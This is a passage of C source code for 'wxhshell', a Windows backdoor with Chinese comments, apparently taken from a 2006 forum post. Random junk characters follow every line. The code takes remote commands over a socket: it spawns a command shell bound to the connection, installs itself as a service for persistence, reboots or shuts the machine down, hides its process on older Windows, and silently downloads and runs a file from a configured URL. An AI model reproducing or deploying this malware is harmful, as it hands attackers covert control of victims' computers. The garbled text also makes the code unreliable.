  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -F[@)$L  
  } z6C(?R  
  else { @m9pb+=v  
pWGR #x'  
    switch(cmd[0]) { 'R79,)|;[  
  B5;%R01A  
  // 帮助 1xW!j!A;  
  case '?': { Giv,%3'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oCa Ymi=:  
    break; bGH#s {'5  
  } jU j\<aW  
  // 安装 FN-/~Su~J  
  case 'i': { 0%rDDB  
    if(Install()) dZ`Y>wH_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,wB6Cw  
    else FfJp::|ddr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rMDvnF  
    break; ^?`fN'!p  
    } #&}- q RA  
  // 卸载 tb+gCs'D  
  case 'r': { @-!P1]V|  
    if(Uninstall()) K$,Zg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Sr7b#)o  
    else l/'GbuECm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $*#^C;7O  
    break; V#7,vas  
    } ?$f.[;mh  
  // 显示 wxhshell 所在路径 !E 5FU *s  
  case 'p': { )[Tm[o?Y.  
    char svExeFile[MAX_PATH]; O2{["c e  
    strcpy(svExeFile,"\n\r"); avRtYL  
      strcat(svExeFile,ExeFile); ?Ij(B}D  
        send(wsh,svExeFile,strlen(svExeFile),0); F}_b7 |^  
    break; =GX5T(P8k  
    } k<<x}=  
  // 重启 _ nMd  
  case 'b': { e"S?qpJK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gZ,h9 5'  
    if(Boot(REBOOT)) 6nW)2LV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90Ki.K0  
    else { wXQxZuk[  
    closesocket(wsh); Tz @=N]D  
    ExitThread(0); F06o-xH=  
    } yJ $6vmQ  
    break; i/9iM\2  
    } )UKX\nD"0  
  // 关机 6m:$mhA5  
  case 'd': { {rKC4:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BDI|z/~&  
    if(Boot(SHUTDOWN)) qIi \[Ugh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A(FnU:  
    else { w|9 >4  
    closesocket(wsh); Ek{QNlQ]4  
    ExitThread(0);  k[r^@|  
    } YRu@; `  
    break; LiG$M{0  
    } >yC=@Uq+  
  // 获取shell XGl2rX&  
  case 's': { _Si=Jp][  
    CmdShell(wsh); S^rf^%  
    closesocket(wsh); 8o~ NJ 6  
    ExitThread(0); PQ&*(G  
    break; ! ?g+'OM  
  } :21d  
  // 退出 28!C#.(h  
  case 'x': { ;,f\Wf"BW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z?o8h N\  
    CloseIt(wsh); gNCS*a  
    break; 9;@p2t*v  
    } 6("_}9ZOc  
  // 离开 ?o " Vkc:  
  case 'q': { /v 8"i^;}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2HeX( rB  
    closesocket(wsh); xp^RAVXq`  
    WSACleanup(); ? :H+j6+f  
    exit(1); =[( 34#  
    break; =-U0r$sK+F  
        } `c  
  } Uy?jVPL  
  } KQ\K :#  
q'mh*  
  // 提示信息 ]m+%y+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qf? "v;  
} ^ij0<*ca9  
  } 0AB a&'h  
,Z{\YAh1  
  return; }3#\vn0gT  
} :q9!  
0 +=sBk (  
// shell模块句柄 2*Qv6 :qK  
int CmdShell(SOCKET sock) 7e"}ojt$  
{ 'z$N{p40m  
STARTUPINFO si; 9j 2t|D4uT  
ZeroMemory(&si,sizeof(si)); rW?WdEg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s=8H< 'l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H*W>v[>  
PROCESS_INFORMATION ProcessInfo; !ho^:}m  
char cmdline[]="cmd"; xC)bW,%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (:l6R9'=  
  return 0; pD{OB  
} 7]VR)VAM  
a'VQegP(f\  
// 自身启动模式 ZM<6yj"f  
int StartFromService(void) {++ EX2  
{ >=@-]X2%j  
typedef struct {)" 3  
{ Ju+3}  
  DWORD ExitStatus; wps/{h,  
  DWORD PebBaseAddress; GHv6UIe&  
  DWORD AffinityMask;  [Sm<X  
  DWORD BasePriority; ('&lAn  
  ULONG UniqueProcessId; {Ze Y:\G~  
  ULONG InheritedFromUniqueProcessId; Z)rW>I  
}   PROCESS_BASIC_INFORMATION; a{8a[z  
p4VARAqi  
PROCNTQSIP NtQueryInformationProcess; Wdd}y`lS  
j<^!"_G]*?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? |M-0{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; + <bj}"  
_U~R   
  HANDLE             hProcess; Q>1BOH1by  
  PROCESS_BASIC_INFORMATION pbi;  Zmu  
SAm%$v z%M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^|/mn!7wD  
  if(NULL == hInst ) return 0; LLx0X O@  
4=,J@N-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s<k[<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D6ZHvY8R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'w:ugb9]  
1< !P:@(  
  if (!NtQueryInformationProcess) return 0; u&~Xgq5[  
<'=!f6Wh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fs]N9],=I  
  if(!hProcess) return 0; J jAxNviG  
@<W` w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R0?bcP&  
hDXTC_^s  
  CloseHandle(hProcess); Bl\:YYd  
}IygU 6{G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (;fJXgj.  
if(hProcess==NULL) return 0; e'mF1al  
,:Px(=d4  
HMODULE hMod; yi8vD~aA[  
char procName[255]; ed'[_T}T3t  
unsigned long cbNeeded; j*3;G+  
Gamn,c9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U5"u h} 3  
X;LYGJ{Xk  
  CloseHandle(hProcess); %M x|"ff  
9~V'Wev  
if(strstr(procName,"services")) return 1; // 以服务启动 uzp\V 39  
ld(60?z>FH  
  return 0; // 注册表启动 6 lzjaW5h  
} )?{<Tt@  
Jxl'!8t  
// 主模块 Y1cL dQn  
int StartWxhshell(LPSTR lpCmdLine) :'DX M{  
{ EC,,l'%a|/  
  SOCKET wsl; Y%i<~"k  
BOOL val=TRUE; 4 QQt 0u0  
  int port=0; 4j3q69TZR  
  struct sockaddr_in door; ]I*RuDv}  
2*snMA  
  if(wscfg.ws_autoins) Install(); @Z/jaAjUC  
fDr$Wcd~  
port=atoi(lpCmdLine); [>NMuwtG  
_4oAk @A  
if(port<=0) port=wscfg.ws_port; q%,86A>  
ztU"CRa8  
  WSADATA data; cK|Uwzif d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P 0\`4Cr!  
:[@rA;L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /US%s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }wo:1v8J  
  door.sin_family = AF_INET;  Ht.P670  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _HM?p(H@  
  door.sin_port = htons(port); SB%D%Zx6'%  
/BgX Y}JC.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R.i ]6H!  
closesocket(wsl); QP~["%}T  
return 1; u'? +JUd1  
} ~;?mD/0k  
<IWg]AJT :  
  if(listen(wsl,2) == INVALID_SOCKET) { glC,E>  
closesocket(wsl); MO0t  
return 1; cKYvNM  
} XR]bd  
  Wxhshell(wsl); (PE.v1T  
  WSACleanup(); 6}Y==GP t  
8$c) ]Bv  
return 0; ~> )>hy)  
ok6t| 7sq  
} j![1  
b81^756  
// 以NT服务方式启动 Yv=L'0K&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }bi hlyB&Q  
{ Lp%J:ogV`  
DWORD   status = 0; P7>\j*U91{  
  DWORD   specificError = 0xfffffff; T0A=vh;S  
6 JI8l`S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AxEdQRGk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y*b$^C%2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q|[^dju  
  serviceStatus.dwWin32ExitCode     = 0; u~,hT Y(%  
  serviceStatus.dwServiceSpecificExitCode = 0; '-(Z.e~e  
  serviceStatus.dwCheckPoint       = 0; \Dl MOG  
  serviceStatus.dwWaitHint       = 0; 4-HBXG9#/  
|;:Kn*0/]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tVf):}<h  
  if (hServiceStatusHandle==0) return; f#Ud=& >j  
}@.@k6`n  
status = GetLastError(); k]AL\) &W  
  if (status!=NO_ERROR) s/t,6-~EH  
{ Mq\?J{E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w^cQL%  
    serviceStatus.dwCheckPoint       = 0; mS}.?[d"  
    serviceStatus.dwWaitHint       = 0; 16N |  
    serviceStatus.dwWin32ExitCode     = status; 6i+AJCkC  
    serviceStatus.dwServiceSpecificExitCode = specificError; daCkjDGl\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /F^ Jn_  
    return; %x;~ o:  
  } P}=n^*8(I  
OZz/ip-!lc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s(Wys^[g  
  serviceStatus.dwCheckPoint       = 0; @:Ft+*2  
  serviceStatus.dwWaitHint       = 0; YHY*dk*|C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b%x=7SMXO  
} x8c>2w;6x^  
[j TU nP  
// 处理NT服务事件,比如:启动、停止 W@z xGH$z>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6)ysiAH?  
{ Kc@Sw{JR#7  
switch(fdwControl) E:uTjXt  
{ iZ/iMDfC  
case SERVICE_CONTROL_STOP: DTsD<o  
  serviceStatus.dwWin32ExitCode = 0; oV9{{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J0f!+]~G3  
  serviceStatus.dwCheckPoint   = 0;  6cjCn  
  serviceStatus.dwWaitHint     = 0; ;jQ^8 S  
  { RZVZ#q(DU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !M)] 1Y  
  } A|4 3W =  
  return; BhjDyB  
case SERVICE_CONTROL_PAUSE: T#:b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hhWy-fP#  
  break; M(C$SB>  
case SERVICE_CONTROL_CONTINUE: LOG>x!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K:VZ#U(_  
  break; 0"GLgj:9  
case SERVICE_CONTROL_INTERROGATE: ] M#LB&Pe  
  break; n _x+xVi%  
}; *c%{b3T_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u(hJyo}  
} Y]`o-dV  
{: \LFB_  
// 标准应用程序主函数 TI2K_'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iv],:|Mbd  
{ =HV${+K=~  
Ek_<2!%X  
// 获取操作系统版本 P0sAq7"  
OsIsNt=GetOsVer(); OTAe#]#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &U`ug"/k  
?'H+u[1.  
  // 从命令行安装 &v;o }Q}E{  
  if(strpbrk(lpCmdLine,"iI")) Install(); pp{p4Z   
M0?%r`  
  // 下载执行文件 ([^f1;ncm  
if(wscfg.ws_downexe) { O.\\)8xA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xx2t0AIB  
  WinExec(wscfg.ws_filenam,SW_HIDE); <u],R.S)  
} @,2,(=l*C  
o=Mm=;H  
if(!OsIsNt) {  T-+ uQ3  
// 如果时win9x,隐藏进程并且设置为注册表启动 oIj -Y`92!  
HideProc(); , )TnIByM  
StartWxhshell(lpCmdLine); QoxQ"r9Wh  
} {Xr 9]g`  
else H;q[$EUNb  
  if(StartFromService()) m],.w M8  
  // 以服务方式启动 .wlKl[lE2  
  StartServiceCtrlDispatcher(DispatchTable); hM>.xr  
else O 9M?Wk :  
  // 普通方式启动 IGly x'\_  
  StartWxhshell(lpCmdLine); >pJ#b=  
f/\S:x-B  
return 0; \[)SK`cwd  
}
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只看该作者 1 发表于: 2006-10-10
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